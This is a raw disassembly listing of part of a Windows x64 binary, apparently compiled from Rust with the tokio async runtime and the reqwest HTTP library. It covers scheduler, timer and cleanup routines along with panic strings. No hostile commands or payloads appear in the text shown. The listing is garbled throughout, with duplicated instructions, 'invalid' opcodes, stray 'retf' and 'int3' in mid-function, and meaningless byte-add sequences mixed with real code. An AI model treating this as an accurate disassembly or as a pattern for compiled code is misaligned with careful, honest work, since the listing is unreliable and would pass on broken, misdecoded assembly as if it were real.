add byte [rcx - 0x6535ff03], al
cmp esi, dword [rbp + 0x6d]
lea rcx, [rdi + 0x270]
mov r8d, 0x258
mov rdx, rdi
call fcn.140106250
lea r14, [rdi + 0x270]
jo 0x1400b988c
add byte [rax], al
lea rcx, [rsp + 0x30]
mov rdx, r14
mov r8, rbx
call fcn.1400aea60
movzx r15d, byte [rsp + 0x41]
cmp r15b, 3
jne 0x1400b98b3
mov byte [rsi + 0x11], 3
adc dword [rbx], r8d
mov al, 4
jmp 0x1400b9cc5
movdqa xmm6, xmmword [rsp + 0x30]
movzx ebx, byte [rsp + 0x40]
mov eax, dword [rsp + 0x42]
mov eax, dword [rsp + 0x42]
mov dword [rsp + 0x20], eax
movzx eax, word [rsp + 0x46]
mov word [rsp + 0x24], ax
mov rcx, r14
call 0x1400ad6e0
jmp 0x1400b9ca8
mov r14, qword [rdi + 0x258]
call fcn.1400dfa40
add rax, r14
jae 0x1400b994f
add eax, 0x38640900
jb 0x1400b9cf6
mov r8d, edx
cmp edx, 0x3b9aca00
jb 0x1400b9946
inc rax
je 0x1400b9cf6
add rax, rcx
jb 0x1400b9d0e
imul ecx, ecx, 0x3b9aca00
sub r8d, ecx
lea r9, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_time_sleep.rs
or eax, 0x951db
jmp 0x1400b9971
lea rcx, [rsp + 0x30]
lea ecx, [rsp + 0x30]
mov rdx, rax
call 0x1400f41d0
lea r14, [rsp + 0xa0]
lea rdx, [rsp + 0x368]
add byte [rax], al
add byte [rax], al
mov r8d, 0x258
mov rcx, r14
call fcn.140106250
movups xmm0, xmmword [rsp + 0x30]
movups xmm1, xmmword [rsp + 0x40]
movups xmm2, xmmword [rsp + 0x50]
movups xmm3, xmmword [rsp + 0x60]
movups xmmword [rsp + 0x2f8], xmm0
clc
add al, byte [rax]
add byte [rdi], cl
adc dword [rsp + 0x308], ecx
clc
add al, byte [rax]
add byte [rdi], cl
adc dword [rsp + 0x308], ecx
movups xmmword [rsp + 0x318], xmm2
add byte [rax], al
movups xmmword [rsp + 0x328], xmm3
add eax, dword [rax]
add byte [rdi], cl
movups xmm0, xmmword [rsp + 0x70]
movups xmm0, xmmword [rsp + 0x70]
movups xmmword [rsp + 0x338], xmm0
movups xmm0, xmmword [rsp + 0x80]
add byte [rdi], cl
adc dword [rsp + 0x348], eax
add byte [rdi], cl
adc dword [rsp + 0x348], eax
movdqu xmm0, xmmword [rsp + 0x90]
movdqu xmmword [rsp + 0x358], xmm0
lea rcx, [rdi + 0x270]
mov r8d, 0x2c8
mov rdx, r14
call fcn.140106250
lea r14, [rdi + 0x270]
mov eax, dword [0x140182314]
mov bh, 0x70
add al, byte [rax]
add byte [rbx + 0xc88f305], cl
add byte [rbp + 0x48], ah
mov rcx, qword gs:[0x58]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x1400b9a6c
test eax, eax
jne 0x1400b9a99
mov eax, dword [0x140182314]
mov byte [rax + rax], cl
mov rcx, qword gs:[0x58]
mov r15, qword [rcx + rax*8]
lea rcx, [r15 + 0xd0]
lea rdx, [0x1400e42d0]
call fcn.1400d4a00
scasd eax, dword [rdi]
add dword [rax], eax
mov byte [r15 + 0x120], 1
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
and eax, 0x58
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
and eax, 0x58
mov rax, qword [rcx + rax*8]
cmp byte [rax + 0x11c], 0
setne cl
cmp byte [rax + 0x11d], 0
sete r12b
and r12b, cl
int3
jmp 0x1400b9a9c
xor r12d, r12d
lea r15, [rdi + 0x4c8]
lea rcx, [rsp + 0x30]
and al, 0x30
and al, 0x30
mov rdx, r14
mov r8, rbx
call fcn.1400aea60
movzx ebp, byte [rsp + 0x41]
cmp ebp, 3
jne 0x1400b9b58
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov eax, dword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x1400b9b12
test eax, eax
jne 0x1400b9b48
retf
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx r13d, byte [rax + 0x11c]
test r13b, r13b
sete cl
cmp byte [rax + 0x11d], 0
setne al
or al, cl
or r12b, al
cmp r12b, 1
jne 0x1400b9b7a
movdqa xmm6, xmmword [rsp + 0x30]
movzx ebx, byte [rsp + 0x40]
mov eax, dword [rsp + 0x42]
mov dword [rsp + 0x28], eax
movzx eax, word [rsp + 0x46]
mov word [rsp + 0x2c], ax
jmp 0x1400b9c17
mov rdx, qword gs:[0x58]
mov rdx, qword [0x58]
mov r12, qword [rdx + rcx*8]
lea rcx, [r12 + 0xd0]
rol byte [rax], 1
add byte [rax], al
rol byte [rax], 1
add byte [rax], al
lea rdx, [0x1400e42d0]
mov ebx, eax
call fcn.1400d4a00
mov eax, ebx
mov byte [r12 + 0x120], 1
mov ecx, dword [0x140182314]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov byte [rcx + 0x11c], r13b
mov byte [rcx + 0x11d], 0
test al, al
je 0x1400b9c17
mov byte [rsi + 0x11], 3
mov al, 3
jmp 0x1400b9cc5
add byte [rax], al
add byte [rax], al
mov rcx, r14
call 0x1400ad6e0
dec dword [rcx + rcx*4 - 7]
dec dword [rcx + rcx*4 - 7]
call fcn.1400ec9d0
add eax, dword [rax]
lea rcx, [rdi + 0x4d0]
cmp qword [rdi + 0x4c8], 0
je 0x1400b9c48
mov rax, qword [rcx]
lock dec qword [rax]
jne 0x1400b9c56
call fcn.1400687d0
jmp 0x1400b9c56
mov rax, qword [rcx]
lock dec qword [rax]
or byte [rbp + 5], dh
call fcn.1400396d0
mov rax, qword [rdi + 0x510]
test rax, rax
je 0x1400b9c6c
mov rcx, qword [rdi + 0x518]
call qword [rax + 0x18]
sbb byte [0x1910a9c6b], al
sbb byte [rcx - 0x49], al
add al, byte [rbx + 0x347402fd]
mov r15b, 2
cmp ebp, 2
je 0x1400b9ca8
cmp ebp, 3
jne 0x1400b9c93
lea rax, [0x14013cce0]
movq xmm0, rax
movdqa xmm6, xmmword [0x1401128b0]
mov word [0x1ac1b0290], es
invalid
jmp 0x1400b9ca8
mov word [0x1ac1b0290], es
invalid
movzx eax, word [rsp + 0x2c]
mov word [rsp + 0x24], ax
mov eax, dword [rsp + 0x28]
mov dword [rsp + 0x20], eax
mov r15d, ebp
mov edi, ebp
mov edi, ebp
movdqu xmmword [rsi], xmm6
mov byte [rsi + 0x10], bl
mov byte [rsi + 0x11], r15b
mov eax, dword [rsp + 0x20]
mov dword [rsi + 0x12], eax
movzx eax, word [rsp + 0x24]
and al, 0x24
mov word [rsi + 0x16], ax
mov al, 1
mov byte [rdi + 0x268], al
mov rax, rsi
movaps xmm6, xmmword [rsp + 0x5c0]
add rsp, 0x5d8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea rcx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_reqwest_0.11.27_srcconnect.rs
call fcn.140108880
lea rcx, str.overflow_when_adding_duration_to_instantlibrary_std_src_time.rs
lea r8, [0x1401499d0]
cld
or byte [rax], al
cld
or byte [rax], al
mov edx, 0x28
call fcn.1401086b0
lea rax, str.overflow_in_Duration::new
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 1
mov qword [rsp + 0x40], 8
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
lea rdx, str._rustc_c987ad527540e8f1565f57c31204bde33f63df76librarycore_src_time.rs_
lea rcx, [rsp + 0x30]
call fcn.140108280
ud2
push r14
push rsi
push rdi
push rbx
sub rsp, 0x28
mov rsi, rcx
mov rbx, qword [rcx]
lea rcx, [rbx + 0x128]
call fcn.140052130
mov rax, qword [rbx + 0x78]
test rax, rax
je 0x1400be9aa
lock dec qword [rax]
jne 0x1400be9aa
mov rcx, qword [rbx + 0x78]
mov rdx, qword [rbx + 0x80]
call fcn.140005050
lea rcx, [rbx + 0x98]
call fcn.140066460
mov rax, qword [rbx + 0x118]
test rax, rax
je 0x1400be9d4
lock dec qword [rax]
jne 0x1400be9d4
lea rcx, [rbx + 0x118]
call fcn.140066500
cmp qword [rbx + 0x188], 0
jne 0x1400bea16
mov rdi, qword [rbx + 0x190]
mov r14, qword [rbx + 0x198]
mov rcx, rdi
call qword [r14]
cmp qword [r14 + 8], 0
je 0x1400bea16
cmp qword [r14 + 0x10], 0x11
jb 0x1400bea04
mov rdi, qword [rdi - 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rbx + 0x1b0]
lock dec qword [rax]
jne 0x1400bea2f
mov rcx, qword [rbx + 0x1b0]
call fcn.140052730
mov r8, qword [rsi]
cmp r8, 0xffffffffffffffff
je 0x1400bea58
lock dec qword [r8 + 8]
jne 0x1400bea58
mov rcx, qword [0x140182260]
xor edx, edx
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
jmp qword [sym.imp.kernel32.dll_HeapFree]
nop
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
ret
xor eax, eax
xchg qword [rsp + 0x100], rax
test rax, rax
jne 0x1400c0e96
mov qword [rsp + 0x128], 2
mov rax, qword [rsp + 0xe0]
shr rax, 2
lea rdx, [rsp + 0x58]
movups xmmword [rdx - 0x18], xmm6
mov qword [rdx - 8], 0
lea rcx, [rsp + 0xe0]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x38], rax
movups xmmword [rdx], xmm6
mov byte [rdx + 0x10], 0
mov eax, dword [rsp + 0x1a1]
mov ecx, dword [rsp + 0x1a4]
add dword [rax], eax
add byte [rcx + 0x4289144a], cl
adc dword [rbx + 0xc177505], ecx
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
add dword [rax], eax
add byte [rcx + 0x4289144a], cl
adc dword [rbx + 0xc177505], ecx
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
mov rax, qword [rcx + rax*8]
mov rax, qword [rax + 0x128]
test rax, rax
jne 0x1400c0bc9
call fcn.1400e7cc0
test rax, rax
je 0x1400c18e6
mov rax, qword [rax]
lock inc qword [rax]
jle 0x1400c1912
test rax, rax
je 0x1400c18e6
add rax, 0x10
lea rcx, [0x14014c388]
mov qword [rsp + 0x170], rcx
mov qword [rsp + 0x178], rax
jmp 0x1400c0c0e
mov al, 1
lock cmpxchg byte [r13], sil
jne 0x1400c0e25
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x1400c0c62
mov r13b, 2
test eax, eax
jne 0x1400c0c8e
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov r15, qword [rcx + rax*8]
lea rcx, [r15 + 0xd0]
lea rdx, [0x1400e42d0]
call fcn.1400d4a00
mov byte [r15 + 0x120], 1
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx r13d, byte [rax + 0x11c]
movzx r15d, byte [rax + 0x11d]
mov word [rax + 0x11c], 0x8001
mov rcx, rdi
mov rdx, rbx
call fcn.1400f3be0
test al, al
je 0x1400c0cc0
mov rcx, r14
mov rdx, rbx
call fcn.1400c1f10
mov ebp, eax
inc bpl
cmp r13b, 2
jne 0x1400c0cc8
jmp 0x1400c0d43
xor ebp, ebp
cmp r13b, 2
je 0x1400c0d43
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
clc
invalid
je 0x1400c0d22
clc
add dword [rbx + rdi - 0x7b], esi
sal byte [rbp + 0x58], 0x8b
add eax, 0xc1623
test eax, eax
jne 0x1400c0d43
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov r12, r14
mov r14, qword [rcx + rax*8]
lea rcx, [r14 + 0xd0]
lea rdx, [0x1400e42d0]
call fcn.1400d4a00
mov byte [r14 + 0x120], 1
add byte [rcx], al
add byte [rcx], al
mov r14, r12
mov r12b, 1
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov ecx, dword [0x58]
mov rax, qword [rcx + rax*8]
mov byte [rax + 0x11c], r13b
mov byte [rax + 0x11d], r15b
rol dword [rax + rcx*4 - 0x58], 0x1c
add dword [rax], eax
add byte [rax + rcx*4 - 0x48], al
sbb eax, 0x40000001
cmp ch, 2
cmp bpl, 2
jne 0x1400c0e40
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov r15, qword [rax + 0x128]
test r15, r15
je 0x1400c0d80
mov eax, 2
lock cmpxchg qword [r15 + 0x10], rsi
je 0x1400c0c0e
jmp 0x1400c0da2
call fcn.1400e7cc0
test rax, rax
je 0x1400c17c9
mov r15, qword [rax]
mov eax, 2
lock cmpxchg qword [r15 + 0x10], rsi
je 0x1400c0c0e
lea r13, [r15 + 0x20]
lea ebp, [rdi + 0x20]
xor eax, eax
lock cmpxchg byte [r15 + 0x20], r12b
jne 0x1400c0df3
xor eax, eax
mov ecx, 1
add dword [rax], eax
add byte [rax], al
add dword [rax], eax
add byte [rax], al
lock cmpxchg qword [r15 + 0x10], rcx
jne 0x1400c0e10
lea rbp, [r15 + 0x18]
nop word cs:[rax + rax]
mov rcx, rbp
mov rdx, r13
mov r9d, 0x3b9aca00
call fcn.1400494f0
mov eax, 2
lock cmpxchg qword [r15 + 0x10], rsi
jne 0x1400c0dd0
jmp 0x1400c0c00
mov rcx, r13
call fcn.14010b310
xor eax, eax
mov ecx, 1
lock cmpxchg qword [r15 + 0x10], rcx
je 0x1400c0dbf
nop word [rax + rax]
cmp rax, 2
jne 0x1400c1801
xor eax, eax
xchg qword [r15 + 0x10], rax
jmp 0x1400c0c00
mov rcx, r13
call fcn.14010af70
jmp 0x1400c0c0e
mov rax, qword [rsp + 0x170]
mov rcx, qword [rsp + 0x178]
call qword [rax + 0x18]
mov rcx, rdi
call fcn.1400f3970
mov rax, qword [rsp + 0x50]
test bpl, bpl
jne 0x1400c1451
test rax, rax
je 0x1400c0e76
mov rcx, qword [rsp + 0x58]
call qword [rax + 0x18]
cmp dword [rsp + 0x128], 2
je 0x1400c0b30
lea rcx, [rsp + 0x128]
call fcn.1400c2a70
jmp 0x1400c0b30
mov rcx, qword [rsp + 0x110]
lock inc qword [rcx]
jle 0x1400c1912
mov qword [rsp + 0x128], 0
mov qword [rsp + 0x130], rcx
mov qword [rsp + 0x138], 0
mov qword [rsp + 0x140], rax
xorps xmm0, xmm0
lea rax, [rsp + 0x148]
movups xmmword [rax], xmm0
mov qword [rsp + 0x158], 8
mov qword [rsp + 0x160], 0
lea r9, [rsp + 0xe0]
mov qword [rsp + 0x168], r9
mov rax, qword [rsp + 0x128]
mov rcx, qword [rsp + 0x130]
mov rdx, qword [rsp + 0x138]
mov r8, qword [rsp + 0x140]
movups xmm1, xmmword [rsp + 0x148]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], rcx
mov qword [rsp + 0x70], r9
mov qword [rsp + 0x40], rdx
mov qword [rsp + 0x48], r8
movaps xmmword [rsp + 0x50], xmm1
mov rax, qword [rsp + 0x158]
mov qword [rsp + 0x60], rax
mov rax, qword [rsp + 0x160]
mov qword [rsp + 0x68], rax
cmp qword [rsp + 0x30], 0
jne 0x1400c1b0c
cmp qword [rsp + 0x40], 0
jne 0x1400c1b4f
mov qword [rsp + 0x40], 0xffffffffffffffff
mov r12, qword [rsp + 0x48]
mov qword [rsp + 0x48], 0
test r12, r12
je 0x1400c1b5b
mov qword [rsp + 0x40], 0
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x1400c0ffb
test eax, eax
jne 0x1400c1b73
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
and eax, 0x58
and eax, 0x58
mov rsi, qword [rcx + rax*8]
lea rcx, [rsi + 0xd0]
lea rdx, [0x1400e42d0]
call fcn.1400d4a00
mov byte [rsi + 0x120], 1
lea rbx, [rsp + 0x38]
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rcx, qword [rax + 0x108]
mov qword [rsp + 0x80], rcx
mov qword [rax + 0x108], rdi
mov rax, qword [rsp + 0x38]
lea rcx, [rax + 0x10]
mov byte [rax + 0xb0], 1
lea rdx, [0x14014c9c8]
mov qword [rsp + 0x88], rdx
mov qword [rsp + 0x90], rcx
lea rdi, [0x1400e42d0]
lea r14, [rsp + 0x1c0]
lea r15, [rsp + 0x88]
jmp 0x1400c108c
mov r8, qword [rsp + 0x38]
add r8, 0x10
mov rcx, rbx
mov rdx, r12
call fcn.1400ea420
mov r12, rax
mov rax, qword [rsp + 0x38]
xor ecx, ecx
xchg byte [rax + 0xb0], cl
test cl, cl
je 0x1400c1214
cmp qword [rsp + 0x40], 0
jne 0x1400c1775
mov qword [rsp + 0x40], 0xffffffffffffffff
mov rcx, qword [rsp + 0x48]
test rcx, rcx
je 0x1400c10d0
call fcn.1400c1db0
mov rax, qword [rsp + 0x40]
inc rax
jmp 0x1400c10d2
xor eax, eax
mov qword [rsp + 0x48], r12
mov qword [rsp + 0x40], rax
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
test eax, eax
je 0x1400c1110
cmp eax, 1
je 0x1400c1139
mov rcx, r14
mov rdx, r15
call fcn.1400c1f10
jmp 0x1400c11d7
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rsi, qword [rcx + rax*8]
lea rcx, [rsi + 0xd0]
mov rdx, rdi
mov edx, edi
mov edx, edi
call fcn.1400d4a00
mov byte [rsi + 0x120], 1
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov r12, qword [rcx + rax*8]
movzx esi, byte [r12 + 0x11c]
movzx ebp, byte [r12 + 0x11d]
mov word [r12 + 0x11c], 0x8001
and al, 0x1c
add dword [rax], eax
add byte [rcx], al
or byte [rcx + rcx*4 - 0xf], 0x4c
mov edx, edi
and al, 0x1c
add dword [rax], eax
add byte [rcx], al
or byte [rcx + rcx*4 - 0xf], 0x4c
mov edx, edi
call fcn.1400c1f10
pushfq
or eax, 0xf410000
add byte [rax], al
invalid
invalid
mov dh, 0x8c
and al, 0x20
add dword [rax], eax
add byte [rax], al
movzx ecx, byte [r12 + 0x120]
cmp ecx, 1
je 0x1400c11b6
add byte [rbx + 0x347401f9], al
test ecx, ecx
jne 0x1400c11d7
mov ecx, dword [0x140182314]
mov rdx, qword gs:[0x58]
mov r13, qword [rdx + rcx*8]
lea rcx, [r13 + 0xd0]
mov rdx, rdi
mov r12d, eax
call fcn.1400d4a00
mov eax, r12d
mov byte [r13 + 0x120], 1
mov ecx, dword [0x140182314]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov byte [rcx + 0x11c], sil
mov byte [rcx + 0x11d], bpl
cmp qword [rsp + 0x40], 0
jne 0x1400c1751
mov qword [rsp + 0x40], 0xffffffffffffffff
mov r12, qword [rsp + 0x48]
dec dword [rbx + rcx*4 + 0x64]
and al, 0x48
mov qword [rsp + 0x48], 0
test r12, r12
test esp, esp
test esp, esp
je 0x1400c175d
mov qword [rsp + 0x40], 0
test al, al
je 0x1400c141a
mov r8, qword [rsp + 0x38]
mov ebp, dword [r8 + 0x40]
test ebp, ebp
je 0x1400c1075
nop word cs:[rax + rax]
cmp byte [r12 + 0x68], 0
jne 0x1400c1781
inc dword [r12 + 0x60]
mov rdx, qword [rsp + 0x38]
add rdx, 0x10
mov rcx, r12
call fcn.1400e8270
test rax, rax
je 0x1400c13e0
cmp qword [rsp + 0x40], 0
jne 0x1400c1775
mov r13, rax
mov qword [rsp + 0x40], 0xffffffffffffffff
mov rcx, qword [rsp + 0x48]
test rcx, rcx
je 0x1400c1290
call fcn.1400c1db0
mov rax, qword [rsp + 0x40]
inc rax
jmp 0x1400c1292
xor eax, eax
mov qword [rsp + 0x48], r12
mov qword [rsp + 0x40], rax
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x1400c12eb
mov r12b, 2
test eax, eax
jne 0x1400c1316
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rsi, qword [rcx + rax*8]
lea rcx, [rsi + 0xd0]
mov rdx, rdi
call fcn.1400d4a00
mov byte [rsi + 0x120], 1
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx r12d, byte [rax + 0x11c]
movzx esi, byte [rax + 0x11d]
mov word [rax + 0x11c], 0x8001
mov rax, qword [r13 + 0x10]
mov rcx, r13
call qword [rax]
cmp r12b, 2
je 0x1400c1393
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x1400c1372
test eax, eax
jne 0x1400c1393
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov r13, qword [rcx + rax*8]
lea rcx, [r13 + 0xd0]
mov rdx, rdi
call fcn.1400d4a00
mov byte [r13 + 0x120], 1
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov byte [rax + 0x11c], r12b
mov byte [rax + 0x11d], sil
cmp qword [rsp + 0x40], 0
jne 0x1400c1751
mov qword [rsp + 0x40], 0xffffffffffffffff
mov r12, qword [rsp + 0x48]
mov qword [rsp + 0x48], 0
test r12, r12
je 0x1400c175d
mov qword [rsp + 0x40], 0
dec ebp
jne 0x1400c1230
jmp 0x1400c1070
movabs rax, 0x7fffffffffffffff
cmp qword [rsp + 0x50], rax
jae 0x1400c1914
mov r8, qword [rsp + 0x38]
add r8, 0x10
cmp qword [rsp + 0x68], 0
jne 0x1400c1079
mov rcx, rbx
mov rdx, r12
call fcn.1400e8470
jmp 0x1400c1084
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rcx, qword [rsp + 0x80]
mov qword [rax + 0x108], rcx
mov qword [rsp + 0x48], r12
mov qword [rsp + 0x40], 0
lea rcx, [rsp + 0x30]
jmp 0x1400c1470
test rax, rax
je 0x1400c145e
mov rcx, qword [rsp + 0x58]
call qword [rax + 0x18]
cmp dword [rsp + 0x128], 2
je 0x1400c1475
lea rcx, [rsp + 0x128]
call fcn.1400c2a70
movsd xmm6, qword [rsp + 0xd0]
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x1400c14d2
test eax, eax
jne 0x1400c1a3b
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rsi, qword [rcx + rax*8]
lea rcx, [rsi + 0xd0]
lea rdx, [0x1400e42d0]
call fcn.1400d4a00
mov byte [rsi + 0x120], 1
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
cmp byte [rax + 0x11e], 2
je 0x1400c195e
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov byte [rax + 0x11e], 2
cmp dword [rax + 0x110], 0
jne 0x1400c151a
call fcn.1400e4110
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov dword [rax + 0x110], 1
movlps qword [rax + 0x114], xmm6
lea rcx, [rsp + 0xb8]
call fcn.1400e6760
mov rax, qword [rsp + 0xb8]
cmp rax, 2
je 0x1400c15ad
test rax, rax
je 0x1400c1592
mov rax, qword [rsp + 0xc0]
lock dec qword [rax]
jne 0x1400c15ad
lea rcx, [rsp + 0xc0]
call fcn.1400687d0
jmp 0x1400c15ad
mov rax, qword [rsp + 0xc0]
lock dec qword [rax]
jne 0x1400c15ad
lea rcx, [rsp + 0xc0]
call fcn.1400396d0
lea rcx, [rsp + 0x1c0]
call fcn.1400c2b60
lea rcx, [rsp + 0x180]
call fcn.1400e6760
mov rax, qword [rsp + 0x180]
cmp rax, 2
je 0x1400c160a
lea rcx, [rsp + 0x188]
test rax, rax
je 0x1400c15f7
mov rax, qword [rsp + 0x188]
lock dec qword [rax]
jne 0x1400c160a
call fcn.1400687d0
jmp 0x1400c160a
mov rax, qword [rsp + 0x188]
lock dec qword [rax]
jne 0x1400c160a
call fcn.1400396d0
movups xmm0, xmmword [rsp + 0x118]
movaps xmmword [rsp + 0x200], xmm0
movups xmm0, xmmword [rsp + 0xd8]
movups xmm1, xmmword [rsp + 0xe8]
movups xmm2, xmmword [rsp + 0xf8]
movups xmm3, xmmword [rsp + 0x108]
movaps xmmword [rsp + 0x1f0], xmm3
movaps xmmword [rsp + 0x1e0], xmm2
movaps xmmword [rsp + 0x1d0], xmm1
movaps xmmword [rsp + 0x1c0], xmm0
lea rcx, [rsp + 0x1c0]
call fcn.1400f2de0
cmp qword [rsp + 0x1c0], 0
jne 0x1400c1686
xor ecx, ecx
xchg qword [rsp + 0x1e8], rcx
test rcx, rcx
je 0x1400c1686
call fcn.1400c1db0
cmp qword [rsp + 0x1f0], 0
lea rcx, [rsp + 0x1f8]
je 0x1400c16ae
mov rax, qword [rsp + 0x1f8]
lock dec qword [rax]
jne 0x1400c16c1
call fcn.1400687d0
jmp 0x1400c16c1
mov rax, qword [rsp + 0x1f8]
lock dec qword [rax]
jne 0x1400c16c1
call fcn.1400396d0
lea rsi, [rsp + 0x200]
mov rcx, rsi
call fcn.1400ecf40
mov rax, qword [rsp + 0x200]
lock dec qword [rax]
jne 0x1400c16e7
mov rcx, rsi
call fcn.140005850
mov rsi, qword [rsp + 0x208]
test rsi, rsi
je 0x1400c1735
mov rax, qword [rsi + 0x30]
nop dword [rax + rax]
mov rcx, rax
or rcx, 4
lock cmpxchg qword [rsi + 0x30], rcx
jne 0x1400c1700
and eax, 0xa
cmp eax, 8
jne 0x1400c1722
mov rax, qword [rsi + 0x10]
mov rcx, qword [rsi + 0x18]
call qword [rax + 0x10]
lock dec qword [rsi]
jne 0x1400c1735
mov rcx, qword [rsp + 0x208]
call fcn.140005b70
movaps xmm6, xmmword [rsp + 0x570]
add rsp, 0x588
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea rcx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulercurrent_threadmod.rs
call fcn.140108540
lea rcx, str.core_missing
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulercurrent_threadmod.rs
mov edx, 0xc
call fcn.1401086b0
lea rcx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulercurrent_threadmod.rs
call fcn.140108540
cmp qword [rsp + 0x40], 0
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rcx, qword [rsp + 0x80]
mov qword [rax + 0x108], rcx
jne 0x1400c17f5
mov rcx, qword [rsp + 0x48]
mov qword [rsp + 0x40], 0xffffffffffffffff
test rcx, rcx
jne 0x1400c187f
xor eax, eax
jmp 0x1400c188c
lea rax, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtimepark.rsinconsistent_park_state__actual_
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x14014b8e0]
lea r8, [rsp + 0x88]
mov edx, 0x2b
call fcn.140108600
lea rcx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulercurrent_threadmod.rs
call fcn.140108540
mov qword [rsp + 0x1a8], rax
lea rax, [rsp + 0x1a8]
mov qword [rsp + 0x1b0], rax
lea rax, [fcn.140012f00]
mov qword [rsp + 0x1b8], rax
lea rax, [0x14014c258]
mov qword [rsp + 0x88], rax
mov qword [rsp + 0x90], 1
mov qword [rsp + 0xa8], 0
lea rax, [rsp + 0x1b0]
mov qword [rsp + 0x98], rax
mov qword [rsp + 0xa0], 1
lea rdx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtimepark.rsinconsistent_park_state__actual_
lea rcx, [rsp + 0x88]
call fcn.140108280
call fcn.1400c1db0
mov rax, qword [rsp + 0x40]
inc rax
mov qword [rsp + 0x48], r12
mov qword [rsp + 0x40], rax
lea rcx, [rsp + 0x30]
call fcn.1400c2a70
lea rax, str.a_spawned_task_panicked_and_the_runtime_is_configured_to_shut_down_on_unhandled_panic
mov qword [rsp + 0x88], rax
mov qword [rsp + 0x90], 1
mov qword [rsp + 0x98], 8
xorps xmm0, xmm0
movups xmmword [rsp + 0xa0], xmm0
add byte [rax], al
add byte [rax], al
lea rdx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulercurrent_threadmod.rs
lea rcx, [rsp + 0x88]
call fcn.140108280
lea rax, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulercurrent_threadmod.rs
